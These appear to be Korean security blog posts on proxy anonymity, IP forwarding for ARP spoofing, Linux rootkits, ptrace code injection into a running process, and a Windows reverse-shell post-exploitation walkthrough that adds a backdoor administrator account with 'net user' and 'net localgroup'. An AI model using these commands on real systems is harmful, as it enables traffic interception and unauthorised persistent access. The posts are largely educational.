1. Transparent


이 종류의 프록시는 웹 요청 시도시 서비스요청 헤더 부분에 client IP를 함께 포함합니다.
이 때문에 서버에서는 서비스요청을 시도하는 클라이언트가 보내는 패킷의 헤더를 검사하면,
충분히 client IP를 추적할 수 있습니다.

헤더 포함 내용: 프록시 서버 종류, client 실제 IP



분석된 헤더를 살펴보면, "Via:" 부분이 바로 프록시 서버의 종류를 뜻하는 것이고,
"X-Forwarded-For:"
부분 다음 부터가 client의 실제 IP를 뜻합니다.
이와 같이 Transparent type proxy는 추적하기가 쉽다는 장점이 있습니다.
참고로, 기존에 존재하고 있는 대부분의 프록시 추적 프로그램이 바로 이 Transparent
역추적 위주의 소프트웨어 입니다.


2. Anonymous

이 종류의 프록시는 client IP를 완벽하게 숨기지만, 프록시를 사용 중이라는 표시를 헤더에
포함합니다. 예를 들면, 프록시 서버의 종류만 나타나고, 실제 client IP는 헤더에 포함하지
않습니다. 바로 이 anonymous type proxy 부터, 역추적에 많은 어려움을 겪습니다.

헤더 포함 내용: 프록시 서버 종류




위와 같이 요청 헤더에 Via 코드만 포함됩니다.
이 때문에 서버에서 요청 패킷을
 캡쳐한다해도, 역추적이 불가능합니다.


3. High anonymous

이 종류의 프록시는 client IP 뿐만아니라, 프록시를 사용 중이라는 표시 조차되지 않습니다.
헤더는 일반 client 접속과 동일하게 작성되며, 서버에서 요청 패킷을 캡쳐해도 일반 client
패킷과 전혀 구별되지 않습니다. 이 때문에 현재 기술력으로 서버는 high anonymous type proxy
사용자와 일반 client 사용자를 전혀 구별해낼 수 없습니다.

헤더 포함 내용: 없음


요청 헤더에는 일반 client 접속과 구별할만한 포함 내용이 존재하지 않으므로 역추적이 불가능합니다.
이렇게 프록시 종류의 3가지를 알아본 이유는, 현재 기술적으로 역추적이 가능한 프록시가
매우 적다는 현실을 알리기 위해서 입니다.

3가지 프록시 종류를 완벽하게 파악하고 있는 해커나 전문가, 엘리트 사용자들은 완벽한
익명성을 이용해 인터넷상을 활보하고 있습니다. 하지만 정작 접속해오는 사용자들을 분석하여 로그에
기록하는 서버는 이러한 사실 조차 구분하지 못하며 공격에 시달리고, 악의적인 게시물, 스팸 공격을
받고 있는 것이 현실입니다.

 

저작자 표시 비영리
Posted by 티엘로


ARP SPOOFING공격을 하기 위해서 필수적으로 Packet Forwarding이 필요하다.

헌데 그동안 이 방법을 모르고 해매고 있었다 .. ㅠ

원래 내 계획은 Packet Forwarding해주는 프로그램을 따로 작성하려고 했는데

마침 지인께서 알려주었다 !! 간단하게 해주는 방법~!!

 

좌좌 .. 먼저 이 경로로 이동해 보자!!

 

 cd /proc/sys/net/ipv4

 

이곳에 도착했으면 이제 ip_foward라는 파일이 있는데 이게 무엇으로 설정되어 있는지 보자..

 

 cat ip_forward

 

아마 기본적으로는 0이라는 숫자 하나만 달랑 나올 것이다!

그렇다 기본적으로는 Packet Forwarding이 허용되지 않는다는 것이다!(ip를 사용한;;)

그렇다면 이제 이것을 1로 수정하자!!(루트 권한으로만;;)

 

그다음 iptables를 수정해

 

 iptables -P FORWARD ACCEPT

 

이러고 나면 자신에게 들어오는 패킷에 대해서 포워딩이 가능해진다


저작자 표시 비영리
Posted by 티엘로


초보자를 위한 리눅스 루트킷(RootKits). 침입방지에서 제거까지
 

소개(Introduction)

어느날 집에서 리눅스 유저 그룹으로부터 온 메일 리스트를 읽고 있는 중에, 도움을 요청하는 것을 발견했다. 그건 귀찮은 문제에 직면한 초보 리눅스 유저로부터 배달되어 온 것이었다. 리눅스 시스템에서 몇몇 루틴을 체크하던 중, 그는 유저 아이디 '0(즉 루트(root)-관리자)'로 등록된 한 명의 유저를 발견했다. 처음 든 생각은 그것이 루트킷(rootkit)일 수 있다는 것이었다. 그는 어떻게 그것이 정말 루트킷인지 검증할 수 있는지 알고 싶었고 시스템으로 부터 어떻게 제거하는지도 알고 싶었다. 그는 더 나아가 이런 종류의 공격이 다시 일어나지 않도록 보장하는 예방책을 알려줄 것을 요청했다. 이런 상황 때문에 나는 루트킷에 대한 이해와 루트킷이 끼치는 영향을 이해하기 위한 목적으로 이 보고서를 만들게 되었다. 또한 이 보고서에서는 루트킷을 모니터링하는 방법과 그것을 제거하는 절차에 대해서도 논의하고자 한다.

 

루트킷이란 무엇인가?

"http://www.whatis.com"에 따르면  "루트킷은 해커가 침입을 위장하기 위해 사용하여 한대의 컴퓨터 또는 일련의 컴퓨터 네트워크에 대한 관리자 접근권한을 획득하는 도구(프로그램)의 집합이다(역자주-앞에 게시한 루트킷(Rootkit) 참조). 루트킷은 일반적으로 리눅스, BSD, SunOS등 유닉스 운영체제 계열을 대상으로 만들어진다. 이 보고서는 리눅스 운영체제를 위해 만들어진 루트킷에 주안점을 둘 것이다. 기본적으로는 같은 기능을 수행하는 루트킷에는 많은 다른 버전들이 있다. 잘 알려진 리눅스 루트킷에는 LRK, tOrn, Adore등이 있고, 윈도우 루트킷에는 NTROOT, NTKap, Nullsys등이 있다. 이 루트킷의 파일 복사본과 관련된 세부 정보는 Packet Storm 사이트에서찾을 수 있다.

http://packetstormsecurity.nl/UNIX/penetration/rootkits/

루트킷은 공격자의 존재를 숨기기 위해 만들어질 뿐만 아니라, 미래의 관리자 레벨(루트)접근을 획득하기 위해 사용되기도 하며, DDoS(distributed denial of service)공격을 시작하거나, 또는 재정적인 정보 및 기밀정보를 습득하는데 사용되기도 한다. 루트킷은 공격자를 숨기기 위한 목적으로 만들었기 때문에, 루트킷이 어떤 기능을 갖고 있는지 이해할 필요가 있다. 루트킷이 설치될 때, ls,ps,netstat 같이 일상적으로 사용되는 많은 명령어들을 덮어쓴다. 이런 명령어들을 덮어씀으로써, 루트킷의 잠입을 관리자로부터 숨길 수 있다.

다음의 시나리오를 살펴보라 -

침임자는 패치되지 않은 애플리케이션에 대해 최근에 공표된 취약성을 통하여 이제 막 시스템에 접근하였다. 그러면, 침입자는 루트킷 설치프로그램을 기동한다. 이 루트킷은 'ls' 명령어를 막 덮어썼다. 이렇게 함으로써 어느 때든지 트로이목마화된(trojaned) 'ls' 명령어가 실행됨으로써 루트킷에 의해 설치된 모든 파일은 화면에 나타나지 않게 된다. 이 루트킷은 'ps'의 트로이목마화된 버전을 인스톨하기도 한하여 결국에는, 스니퍼(sniffer), 백도어(backdoor), 로그 파싱(parsing)프로세스 등도 화면에 보이지 않게 된다. 'ls' 와 'ps'명령어 만이 루트킷에 의해서 덮어쓰여질 수 있는 명령어는 아니다. 다음은 루트킷에 의해 덮어쓰여지는 일반적인 명령어들의 목록이다.

 

netstat: 현재 시스템에 연결되어 있는 네트워크 커넥션들, 라우팅 테이블(routing tables), 인터페이스 통계(interface statistics)에 관한 정보를 표시해 주기 위해 사용되는 유용한 툴. Netstat은 침입자에 의해서 시스템에 대한 내부로의 및 외부로의 연결을 숨기기 위해서 루트킷에 의해 수정된다.

 

du: 파일의 저장공간 사용율을 화면에 표시하기 위해 사용되는 명령어이다. 'ls' 명령어와 매우 유사한 이 'du'는 계층적 디렉토리 구조를 보여준다. 또한 각각의 파일 또는 이렉토리가 얼마나 많은 디스크 공간을 사용하는지 보여준다. du는 루트킷에의해 설치된 파일과 디렉토리를 숨기기 위해 주로 트로이목마화 된다.

 

find: 디렉토리 계층그조 하에서 파일들을 찾기위해 사용된다. find 명령어를 변형시킴으로써 침입자는 루트킷에 의해 설치된 이미 알려진 파일을 관리자가 찾기 어렵게 만든다. 'ls','du' 와 같이 find는 루트킷 관련 파일의 존재를 숨기기 위해 트로이목마화 된다.

 

ifconfig: 네트워크 인터페이스 관련사항을 설정하고 화면에 표시하기 위해 사용. 스니퍼(sniffer)가 설치되서 실행되면, 네트워크 인터페이스는  promiscuous 모드에 위치하게 된다. 인터페이스를 'Promiscuous mode'로 설정하는 것은 네트워크 인터페이스로 하여금 네트워크 상에 있는 패킷을 가로채서 읽을 수 있도록 하는 것이다. ifconfig는 인터페이스가 'promiscusous mode'상태에 있다는 것을 감춤으로써 스니퍼(sniffer)또는 패스워드 수집기(password grabber)의 존재를 숨기는 기능을 하도록 변형된다.

 

inetd (xinetd): 인터넷 서비스를 제공하는 프로그램을 시작시키기 위해 설계된 '슈퍼서버'

(x)inetd는 그때 그때 적절한 서버를 생성시켜 서비스 연결 요청을 받아들인다. 많은 루트킷은 어떤 한 특정한 포트에 접근되었을 때, 루트킷 서비스를 실행시키도록 환경설정 파일에 자신들의 애플리케이션을 첨부한다.

 

killall: 프로세스를 중단시키는 명령어. Killall은 대부분 루트킷에서 트로이목마화 됨으로써 관리자가 루트킷이 설치한 특정한 프로세스를 중단할 수 없게 된다.

 

login: 시스템에 접속인증시 사용되는 데몬. 로그인 데몬(daemon)은 모든 사용자 이름 및 패스워드를 기록하기 위해 수정된다. 이 기록된 리스트는 추후 사용을 위해 디렉토리에 저장될 수 있고, 또는 다른 시스템에 전송될 수도 있으며, 채팅서버나 뉴스그룹 같은 대체 시스템에 표시될 수도 있다.

 

lsof: 열려있는 파일들을 목록화하기 위해 사용되는 명령어. 'lsof'는 루트킷에 의해 열린 파일이나 프로세스를 숨기기 위해 덮여쓰기 된다.

 

모든 루트킷이 명령어를 덮어쓰기 하는 것은 아니다. Adore Knark같은 루트킷은 임시로 로딩가능한 커널 모듈(loadable kernel modules:LKM)로서 만들어진다. LKM루트킷은 시스템 호출(system call)을 이용하여 실질적으로 명령어를 수정할 필요없이 명령어의 행위를 변경한다.

일반인들은 시스템 호출을 "사용자 레벨 애플리케이션이 운영체제에 애플리케이션을 위한 어떤 기능을 수행하도록 요구하는 방법"라고 정의한다. 시스템 호출 테이블에는 각 시스템 호출 목록이 들어있다.

루트킷은 자신의 존재를 숨기도록 만들어졌기 때문에, 어떤 명령어가 어떤 루트킷에 영향을 받았더라도 그 이전과 동일하게 기능해야만 한다.

 

** 오늘의 용어설명 **

Sniffer & Promiscuous Mode(전자상거래 혁명-최인영, 동일출판사)

스니퍼는 네트워크의 한 호스트에서 실행되어 그 주위를 지나다니는 패킷들을 엿보는 프로그램으로서 계정과 패스워드를 알아내기 위해서 침입자들에 의해 자주 사용되는데 아무리 네트워크 보안에 신경을 쓴 호스트라도 주변의 호스트가 공격당해서 스니핑을 위해 사용된다면 무력해질 수 밖에 없다. 즉, 나의 컴퓨터와 연결된 호스트 중 하나에 해커가 침입하여 스니퍼를 설치하게 되면 나의 호스트로 접근하는 루트 패스워드를 가로채어 알아낼 수 있게 되며 같은 방법으로 인접해 있는 호스트들은 모두 스니핑을 당하게 된다. 스니퍼는 이더넷의 설계상 약점에 의해 발생하는 기술로 원리를 알아보면 다음과 같다.

가장 일반적인 LAN의 구성 방법은 이더넷을 사용하는 것으로 주변에서 가장 쉽게 접하는 경우이다. 이더넷을 통한 통신방법은 매우 간단하다. A라는 호스트가 B라는 호스트로 패킷을 보내고 싶다면 호스트 A는 B와의 배타적인 연결을 통하는 것이 아니라 그 패킷을 이더넷에 뿌린다. 그리고 그 패킷은 일반적으로 수신 주소의 호스트만이 받도록 기대된다. 그러나 그것은 기대 사항일 뿐 언제라도 깨어질 위험 부담을 안고 있는 프로토콜이다. 네트워크 디바이스는 자신에게 오지 않고 다른
호스트를 향해 지나가는 패킷까지 받는 상태에 들어갈 수 있는데, 그 때를 'Promiscuous Mode'라고 부른다.
스니퍼는 바로 그 상태에서 동작한다. 이렇게 네트워크의 설계상에 커다른 약점이 있기 때문에 스니퍼에 의한 공격은 치명적이며 일부 OS를 제외하고는 찾아내기가 곤란한 경우가 많고 이를 막기 위해 많은 부담이 따른다. 게다가 스니퍼의 핵심을 이루는 코드는 대부분의 OS에서 독립된 프로토콜로서 지원을 하는데 SunOS의 NIT, IRIX의 SNOOP이 좋은 예이다. 잘만 이용하면 침입자들을 상대하는 관리자들에게 큰 무기가 될 수 있다. 즉, 네트워크를 감시하여 해커를 잡는 데 사용할 수 도 있다. 예를 들면 netlog라는 좋은 툴이 이미 있다.

(ftp://ftp.cert-kr.or.kr/pub/tools/etc/netlog/netlog -1.2.tar.gz)은 telnet과 ftp모듈이 제외되어 있는 것이 이툴의 성격을 잘 말해 주고 잇다. 패스워드 스니핑에 사용되는 것을 막기 위함일 것이다.
스니퍼는 일반적으로 다음과 같은 일련의 동작을 하는 코드로 구성된다.
1. 네트워크 디바이스를 열어서 "Promiscuous Mode"로 만든다.
2. 지나가는 모든 패킷을 읽는다.
3. 패킷을 필터링해서 발신 및 수신 주소, 서비스(telnet, rlogin, ftp, smtp등), 그리고 계정과 패스워드가 포함된 데이터를 구분해서 출력한다.

 

inetd(원영식,FreeBSD user group)

inetd는 super daemon이라고 합니다.
즉 여러 서버 프로그램들을 관리하는 서버 프로그램이라고 할까요...  inetd는 메모리에 항상 떠 있으면서 클라이언트에서 요청이 있을 때마다  그에 적절한 서버 프로그램을 찾아서 실행시켜 주는 것입니다. 필요한 설정은 /etc/services와 /etc/inetd.conf 두 파일에 들어 있습니다. services는 서비스와 포트 번호를 설정하는 것이고, inetd.conf는 서비스와 해당 서버 프로그램을 설정하는 것입니다.
ftp를 inetd와 standalone 두 가지로 모드로 한다는 것은 말 그대로 ftp 서버를 inetd 관리 하에 둘 것인가, 아니면 inet와 관계 없이 독립적으로 실행할 것인가를 결정하는 것입니다. inet 모드로 운영하면 클라이언트로부터 요청이 있을 때마다(ftp 접속 요청이 있을 때마다) inet가 ftp 서버 프로그램을 찾아서 실행시켜 주고, ftp 접속이 끊어지면 다시 실행을 중단시킵니다. standalone 모드라면 부팅 후 항상 ftp 서버가 메모리에 상주하며 ftp 접속 요청이 생기면 직접 ftp 서비스를 시작합니다.

inet 모드의 장점은 쓸데없이 메모리를 잡아먹지 않아도 된다는 점이구요, standalone은 빠르다는 점입니다. 일반적으로 접속요구가 빈번한 웹서버는 standalone으로, 나머지 서비스는 inetd모드로 설정해 놓더군요.

 

DAEMON(정보통신용어사전)

컴퓨터 시스템의 운영에 관련된 작업을 후선(background) 상태로 동작하면서 실행하는 프로그램.
처리해야 할 작업 조건이 발생하면 자동으로 기동하여 필요한 작업을 실행한다. 예를 들면, 인터넷 웹 서비스를 제공하는 주 컴퓨터 시스템에서 웹 서버는 후선 상태로 동작하고 있다가 통신망상의 웹 브라우저로부터 자료 요청이 있으면 작업을 실행한다. 

 

LKM(en.wikipedia.org/wiki/LKM)

Linux Loadable Kernel Modules, or LKM, are object files that contain code to extend the running kernel, or so-called base kernel. They are typically used to add support for new hardware, filesystems or for adding system calls. When the functionality provided by a LKM is no longer required, it can be unloaded, freeing memory.

리눅스 로더블 커널 모듈(Linux Loadable Kernel Modules), LKM은 소위 베이스 커널(base kernel)이라고 불리는 구동 커널을 확장하기 위한 코드를 포함한 객체 파일이다. 새로운 하드웨어나 파일시스템 또는 추가된 시스템 콜(system call)을 추가적으로 지원하기 위해 사용된다. LKM에 의해 제공되는 기능의 더이상 필요하지 않을 때, 언로드(unload)되고 메모리를 해제한다.

 

저작자 표시 비영리
Posted by 티엘로

 

BUFFER OVERFLOWS


저작자 표시 비영리
Posted by 티엘로

원문 -> http://linuxgazette.net/issue83/sandeep.html

-----------------------------------------------------------------------------

   이전 part1에서 우리는 ptrace의 기본적인 특성에 대해서 알아 보았습니다. 우리는 이제
  다시한번 작은 예제를 볼 것입니다. 제가 미리 말 한것 처럼 ptrace의 메인 어플리케이션
  은 실행될 프로세스의 메모리나 레지스터에 접근하는 것입니다.(그것이 디버깅의 목적
  이든 나쁜목적이든 말입니다.) 그래서 먼저 우리는 몇가지 기본적인 실행파일의 바이너리
  구조에 대해서 알 필요가 있습니다.- 그 다음 우리가 알 것은 어떻게 그리고 어디에 접근
  해야 하는것입니다.. 그래서 저는 먼저 ELF의 기본적인 튜터리얼을 제공할 것입니다.
  ELF는 리눅스에서 사용되는 바이너리 포맷입니다. 이 문서의 끝 부분에서 우리는 다른
  프로세스의 메모리와 레지스터에 접근하여 그들에게 추가적인 코드를 주입함으로 써
  출력을 다르게 만들어 볼 것입니다.

    NOTE. 혼란 스러워하지 마세요!! 확실히 이 문서는  ptrace에 관한 것이지 ELF에 관한
    것이 아닙니다. 그러나 ELF의 기본적인 지식이 프로세스의 이미지에 접근한데 필요
    합니다. 그래서 이것을 먼저 설명하는 것입니다.

1. What is ELF?

        ELF는 Executale and Linking Format 입니다. 이것은 리눅스에서 사용되는 실행
        가능한 바이너리를 정의합니다 - 그리고 공유 오브젝트와 코어 덤프 파일, 재배치
        들도 정의합니다. ELF는 링커와 로더에 의해 모두 사용됩니다. 그들은 두 가지 측면
        으로부터 ELF를 보게 됩니다. 그래서 둘 다 일반적인 인터페이스를 가집니다.

        ELF의 구조는 많은 섹션과 세그먼트를 가집니다. 재배치 파일은 섹션 헤더 테이블을
        가지고 실행가능한 파일은 프로그램 헤더 테이블을 가지고, 공유 오브젝트 파일은 둘
        다 가지고 있습니다. 다음에 오는 섹션에서는 이 헤더들이 무엇인지 설명을 하겠습니다.


2. ELF Headers
 
    모든 ELF 파일은 ELF 헤더를 가지고 있습니다. 이것은 항상 0 오프셋(파일의 가장 처음
    부분)에 있습니다. 이것은 바이너리 파일의 중요한 사항을 가지고 있습니다. - 무슨 자료
    구조들이 파일과 관련되었는지 알기 위해서는 꼭 인터럽트 되어야 합니다.(참조 되어야
    합니다)

    헤더의 포맷은 아래와 같습니다.(이 파일은 /usr/src/include/linux/elf.h에 있습니다)

   --------------------------------------------------------
   #define EI_NIDENT       16

   typedef struct elf32_hdr{
         unsigned char e_ident[EI_NIDENT];
          Elf32_Half    e_type;
          Elf32_Half    e_machine;
          Elf32_Word    e_version;
          Elf32_Addr    e_entry;  /* Entry point */
          Elf32_Off     e_phoff;
          Elf32_Off     e_shoff;
          Elf32_Word    e_flags;
          Elf32_Half    e_ehsize;
          Elf32_Half    e_phentsize;
          Elf32_Half    e_phnum;
          Elf32_Half    e_shentsize;
          Elf32_Half    e_shnum;
          Elf32_Half    e_shstrndx;
   } Elf32_Ehdr;
   --------------------------------------------------------

    각각의 필드에 대해서 간단히 설명하면 다음과 같습니다

    1. e_ident : 바이너리 파일을 어떻게 다루어야 할지에 대한 정보가 담겨 있습니다
                 플랫폼에 의존적입니다
   
    2. e_type : 바이너리 파일을 어떻게 사용해야 할지에 대한 정보가 담겨 있고 타입은
                재배치 가능한지, 실행가능한지, 공유가능한지 그리고 코어파일인지 입니다
   
    3. e_machine : 예상했던데로 이 필드는 아키텍쳐를 나타냅니다 - Intel 386, Alpha, Sparc

    4. e_version : 오브젝트 파일의 버전을 나타냅니다

    5. e_phoff : 프로그램 헤더의 시작 오프셋을 가지고 있습니다

    6. e_shoff : 섹션 헤더의 시작 오프셋을 가지고 있습니다

    7. e_flags : 프로세서 의존적인 플래그이다. i386에서는 사용되지 않습니다

    8. e_ehsize : ELF헤더의 size를 가지고 있습니다

    9. e_phentsize & e_shentsize : 프로그램 헤더와 섹션헤더의 size를 나타냅니다

    10. e_phnum & e_shnum : 프로그램 헤더아 섹션헤더의 갯수를 나타내며. 프로그램 헤더
                     테이블은 프로그램 헤더의 배열입니다. 비슷하게 섹션헤더도 마찬가지
                                     입니다
   
    11. e_shstrndx : 섹션 헤더 테이블안에서 섹션이 가지고 있는 섹션의 이름입니다. 이것은
                    테이블안의 섹션을 가리키는 인덱스 입니다
                                    (아래에서 좀더 볼 것이다)
                                   

3. Sections And Segments

    위에서 말 한것 처럼 링커는 섹션 헤더 테이블에서 묘사된것 처럼 논리적인 헤더의 집합
    인것 처럼 파일을 다룹니다 어플리케이션 들은 아마도 고유의 방법으로 인터럽트를 할 것
    입니다.

    섹션헤더들의 배열인 섹션헤더 테이블이 있습니다. 이 테이블의 가장 첫번째 인 0 엔트리는
    항상 NULL 이고 바이너리의 어느 부분도 나타내지 않습니다. 각각 섹션 헤더는 다음과 같은
    포맷을 가집니다.


   --------------------------------------------------------
    typedef struct elf32_shdr {
         Elf32_Word sh_name;           /* Section name, index in string tbl (yes Elf32) */
         Elf32_Word sh_type;           /* Type of section (yes Elf32) */
         Elf32_Word sh_flags;          /* Miscellaneous section attributes */
         Elf32_Addr sh_addr;           /* Section virtual addr at execution */
         Elf32_Off sh_offset;          /* Section file offset */
         Elf32_Word sh_size;           /* Size of section in bytes */
         Elf32_Word sh_link;           /* Index of another section (yes Elf32) */
         Elf32_Word sh_info;           /* Additional section information (yes Elf32) */
         Elf32_Word sh_addralign;      /* Section alignment */
         Elf32_Word sh_entsize;        /* Entry size if section holds table */
    } Elf32_Shdr;
   --------------------------------------------------------

  이제 각 필드의 자세한 설명을 봅시다.

    1. sh_name : 이것은 해당 인덱스의 e_shstrndx 문자열 테이블의 내용을 가집니다. 이 인덱스는
              Null로 끝나는 스트링의 시작 부분이며 이것은 섹션의 이름으로 사용됩니다. 많은
                        섹션 이름들이 있으며 아래는 그 중 일부 입니다.

                        .text : 이 섹션은 프로그램의 실행가능한 명령어를 가집니다.
                        .data : 이 섹션은 프로그램 이미지에 사용되는 초기화 된 자료를 가집니다.
                        .init : 이 섹션은 프로세스 초기화에 관련된 코드를 가집니다.

    2. sh_type : 프로그램 데이타, 심볼테이블, 스트링 테이블 등 섹션의 타입을 나타냅니다.

    3. sh_flags : 섹션의 내용을 어떻게 다룰 것인지에 대한 정보를 가집니다.

    4. sh_addralign : 섹션 내용을이 어떤 정렬방법이 요구되는지 나타냅니다.. 일반적으로 0/1
                 (둘 다 정렬을 하지 않는다는 의미) 또는 4를 사용합니다

  나머지 필드는 스스로 찾아 봅시다

    3.2. ELF 세그먼트 와 프로그램 헤더들

    ELF 세그먼트들은 로딩되는 중에 사용됩니다 ie. 프로세스 이미지가 코어안에서 만들어 질때
    각각 세그먼트는 프로그램 헤더에 의해서 묘사 됩니다. 프로그램 헤더 테이블이라는 것이 존재
    하는데(보통 ELF 헤더 근처에 있습니다) 테이블은 프로그램 헤더들의 배열입니다. 프로그램 헤더
    는 다음과 같은 포맷을 가집니다.

    --------------------------------------------------------
    typedef struct
    {
             Elf32_Word    p_type;                 /* Segment type */
             Elf32_Off     p_offset;               /* Segment file offset */
             Elf32_Addr    p_vaddr;                /* Segment virtual address */
             Elf32_Addr    p_paddr;                /* Segment physical address */
             Elf32_Word    p_filesz;               /* Segment size in file */
             Elf32_Word    p_memsz;                /* Segment size in memory */
             Elf32_Word    p_flags;                /* Segment flags */
             Elf32_Word    p_align;                /* Segment alignment */
    } Elf32_Phdr;
    --------------------------------------------------------

    1. p_type : 내용을 어떻게 다룰 것인지에 대한 정보를 제공합니다. 이것은 다음과 같은 프로그램의
                타입을 제공합니다.

                            - unused
                            - loadable
                            - Dynamic linking information
                            - reserved

                            etc ..

    2. p_vaddr : 세그먼트가 로드 될 것으로 예상되는 가상 메모리 주소 입니다.

    3. p_paddr : 세그먼트가 로드 될 것으로 예상되는 물리 메모리 주소입니다.
                 (역자 주. i386 리눅스는 가상메모리만을 사용하기 때문에 실제 p_paddr은 p_vaddr과
                               동일한 값을 가집니다.)
   
  4. p_flags : 보호 플래그를 가집니다. - read/write/execute 권한

    5. p_align : 메모리안의 세그먼트 정렬에 관한 내용을 가집니다. 만약 세그먼트가 loadable 타입
                 이라면 정렬은 page 크기로 예측될 수 있습니다.
   
    나머지 필드는 직접 알아내 봅시다 :D

4. Loading the ELF File

  우리는 ELF 오브젝트 파일에 대한 어느정도 지식을 가지게 되었습니다. 이제 우리는 실행을 위해
    파일이 어떻게 그리고 어디에로드 되는지 알아야 합니다. 보통 우리는 단순히 프로그램 이름을
    쉘 프롬프트에 입력합니다. 사실 많은 흥미있는 것들이 엔터를 친 후에 일어나게 됩니다.

    먼저 쉘은 커널 루틴을 호출하는 표준 libc 함수를 호출 합니다. 이제 공(역자 주 - 프로그램의
    흐름을 말하겠죠??)은 커널의 코트로 넘어왔습니다. 커널은 파일을 열고 실행파일의 타입과 포맷
    을 알아냅니다. 그리고는 ELF와 요구되는 라이브러리들을 로드하고 프로그램의 스택을 초기화
    하며 마침내 프로그램 코드에게 컨트롤을 넘깁니다.

    프로그램은 0x8048000에 로드되고(이것은 /proc/PID/maps로 확인할 수 있습니다) 프로그램의
    스택은 0xbfffffff에서 시작합니다.

5. Code Injection

   우리는 메모리에 프로그램이 로드되는 것을 자세히 보았습니다. 그래서 프로세스가 주어지고
   이것의 메모리 공간을 알고 있을때 우리는 이것을 추적할 수 있으며(만약 권한을 우리가 가지고
   있을경우) 프로세스의 개인적인 자료구조에 접근할 수 있습니다. 이것은 말이 쉽지 실제로
   하기에는 쉽지 않습니다. 한번 시도해 보지 않겠습니까??
   가장 먼저 다른 프로그램의 레지스터에 접근하고 이것을 수정하는 프로그램을 작성해 봅시다.
   여기서 우리는 다음과 같은 request 값을 사용할 것입니다.

     - PTRACE_ATTACH : 특정 pid의 프로세스를 붙입니다.
     - PTRACE_DETACH : 특정 pid의 프로세스를 때어냅니다.

       NOTE. 이것을(역자 주- PTRACE_DETACH를 말하는듯?) 호출하는 것을 잊지 마십시오.
                 그렇지 않으면 프로세스는 정지 모드로 있을것이며 이것은 복구하기 힘듭니다.

     - PTRACE_GETREGS : 프로세스의 레지스터를 data에 의해 가리켜지는 구조체에 복사합니다
                                  (여기서 addr 인자는 무시됩니다.). 이 구조체는 user_regs_struct 이며
                                  다음과 같이  정의되어 있습니다. 이것은 asm/user.h 에 있습니다.

    --------------------------------------------------------
    struct user_regs_struct {
                long ebx, ecx, edx, esi, edi, ebp, eax;
                unsigned short ds, __ds, es, __es;
                unsigned short fs, __fs, gs, __gs;
                long orig_eax, eip;
                unsigned short cs, __cs;
                long eflags, esp;
                unsigned short ss, __ss;
       };
    --------------------------------------------------------

    - PTRACE_SETREGS : 이것은 GETREGS의 반대 입니다.
    - PTRACE_POKETEXT : 이것은 추적되는 프로세스의 addr 주소안에 있는 데이타에 의해 가리켜
                              지는 곳에서 32bit를 복사합니다.
   
    이제 우리는 우리의 작은 코드 조각을 추적될 프로세스의 이미지에 삽입하고 강제로 프로세스의
    명령어 포인터(역자 주 - EIP를 말하는 것이겠죠?)를 변경시켜서 우리의 코드를 실행하게 만들
    것입니다. 이제 프로세스를 실행시키고 삽입된 코드를 실행시킬 것입니다.

    우리는 두가지 소스 파일을 가지고 있습니다. 한 가지는 추적되는 프로세스에 삽입될 어셈블리코드
    입니다. 우리가 추적할 조그마한 프로그램을 제공합니다.
    (역자 주 - 프로그램 소스들은 모두 현재 이 포스트에 첨부파일로 올리겠습니다 :D)

    소스 파일은 다음과 같습니다

      - Tracer.c
        - Code.S
        - Sample.c

  이제 파일을 컴파일 합니다.

  ---------------------------------
    #cc Sample.c -o loop
    #cc Tracer.c Code.S -o catch
    ---------------------------------

    이제 다른 콘솔로 가서 샘플 프로그램을 다음과 같이 실행합니다.

  ---------------------------------
    #./loop
    ---------------------------------

    다시 처음 콘솔로 돌아와서 loop 프로그램을 잡아서 이것의 출력을 변경할 프로그램을 다음과 같이
    실행합니다.

    ----------------------------------------------------
    #./catch `ps ax | grep "loop" | cut -f 3 -d ' '`
    ----------------------------------------------------
    (역자 주 - 그냥 직접 PID를 알아내서 입력해도 되겠죠 :D)

    이제 loop가 실행되고 있는 콘솔로가서 이것의 출력이 어떻게 변하였는지 확인해 봅니다.
    ptrace와의 놀이가 이제 시작되었습니다.

6. Looking Forward

  첫번째 파트에서 우리는 프로세스를 추적하고 이것의 명령어 갯수를 카운트 하였습니다. 이
  파트에서 우리는 ELF파일에 대해서 공부하고 작은 코드 조각을 프로세스에 주입 해 보았습니다.
  다음 장에서 저는 어떤 프로세스의 메모리 공간에 접근해 볼 것입니다.
 
그럼 그때까지 안녕히 계세요

    from Sandeep S.

※ 역자 주 - 이 문서의 아이디어는 매우 좋습니다. 마치 윈도우에서 원격에서 쓰레드를 만들어서 코드를 주입하는 것과 비교할 수 있겠습니다. 그러나 문서에서는 자세한 내용을 다루지 못하고 있습니다 .. 

단순히 아이디어만을 제공한 수준 같군요 ..프로그램이 실제 main()으로 넘어오는 과정도 자세히 설명하면 매우 복잡하고 알면 좋은 지식이니 따로 찾아서 공부해볼 필요가 있을것 같고 ..실제 코드를 주입하는 Tracer의 경우 현재의 리눅스에서 사용하기 위해서는 변형이 필요할 것으로 보입니다.
                    
 
저작자 표시 비영리
Posted by 티엘로

윈도우는 유닉스나 리눅스의 터미널에서 처럼 프롬프트에서 사용자 관리가 가능하다.

이점이 윈도우 리버스 쉘에 성공했을 때에 시스템에 더 큰 피해를 줄 수 있다.

왜냐면 프롬프트에서 임의의 사용자를 추가시키고 그 사용자의 로컬그룹을 administrator로

바꿀 수 있기 때문이다. 보통 리버스 쉘은 쉘의 유저의 비밀번호를 모르는 상태에서 얻어지기 때문에

이러한 방법은 시스템 공격을 우회하기 좋은 방법이 된다.

 

테스트해본 환경은 윈도우XP이고 윈도우 서버에서는 해보지 않았다.

보통 리버스 쉘은 웹 취약점이나 서비스 취약점으로 이루어 지는데 서비스가 administrator권한으로

작동중이었다면 획득한 프롬프트 또한 administrator 권한의 프롬프트 일 것이다.

 

먼저 위 스크린샷 처럼 임의의 호스트를 공격해서 리버스 쉘 획득에 성공했다고 가정한 상태에서

시작해 보자.


여기서 'net user'라는 명령어를 사용하면 위 스크린샷 처럼 현재 시스템에 등록되어 있는

사용자를 보여준다.


'net user /add USER PASSWORD' 명령은 사용자를 시스템에 등록해준다.

예제로 bin00pang의 비밀번호를 사용하는 hacker라는 사용자를 등록하였다.


그리고 'net localgroup administrators hacker /add'를 사용해서 hacker 사용자를

관리자 그룹으로 옮겨준다.

윈도우는 기본정책으로 관리자가 아니면 원격제어를 제한한다. 따라서 사용자를 관리자 그룹으로

만들어 주는 것이다.


비교를 위해서 사용자를 하나 더 추가시키고 관리자 그룹으로 이동시키지 않았다.



먼저 두 번째 만든 사용자인 bin00pang을 사용해서 원격접속을 시도하였다.

